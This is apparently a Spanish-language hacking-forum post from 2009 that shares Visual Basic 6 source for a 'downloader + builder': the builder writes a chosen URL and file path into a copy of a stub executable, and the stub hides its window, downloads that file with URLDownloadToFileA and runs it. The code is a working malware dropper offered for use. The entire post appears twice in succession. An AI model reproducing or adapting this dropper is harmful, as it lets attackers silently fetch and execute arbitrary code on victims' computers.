Simple Downloader + Builder
Publicado: 14 Abr 2009, 22:10
Cliente:
[quote=XproCliente] Dim link As String * 200
Dim ruta As String * 200
Private Sub Command1_Click()
link = Text1.Text
ruta = Text2.Text
FileCopy App.Path & "\stub.exe", App.Path & "\downloader.exe"
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox " Porfavor ponga una URL o Dirección "
End If
Open App.Path & "\downloader.exe" For Binary As 1
Put #1, LOF(1) + 1, link
Put #1, , ruta
Close #1
MsgBox "Realizado", vbInformation, "Exito"
End Sub
Private Sub Command2_Click()
Form2.Show
End Sub
[/quote]
***********************************************
Stub
[Quote=STUB]
Private Declare Function Descargar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Dim ruta As String * 200
Dim link As String * 200
Me.Visible = False
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1
Get #1, LOF(1) - 399, link
Get #1, , ruta
Close #1
Descargar 0, Trim(link), Trim(ruta), 0, 0
Shell Chr(34) & Trim(ruta) & Chr(34), vbNormalFocus
End
End Sub
[/quote]
PS: Retiré el link , luego os traigo un VIDEO-TUTORIAL :D !
[quote=XproCliente] Dim link As String * 200
Dim ruta As String * 200
Private Sub Command1_Click()
link = Text1.Text
ruta = Text2.Text
FileCopy App.Path & "\stub.exe", App.Path & "\downloader.exe"
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox " Porfavor ponga una URL o Dirección "
End If
Open App.Path & "\downloader.exe" For Binary As 1
Put #1, LOF(1) + 1, link
Put #1, , ruta
Close #1
MsgBox "Realizado", vbInformation, "Exito"
End Sub
Private Sub Command2_Click()
Form2.Show
End Sub
[/quote]
***********************************************
Stub
[Quote=STUB]
Private Declare Function Descargar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Dim ruta As String * 200
Dim link As String * 200
Me.Visible = False
Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1
Get #1, LOF(1) - 399, link
Get #1, , ruta
Close #1
Descargar 0, Trim(link), Trim(ruta), 0, 0
Shell Chr(34) & Trim(ruta) & Chr(34), vbNormalFocus
End
End Sub
[/quote]
PS: Retiré el link , luego os traigo un VIDEO-TUTORIAL :D !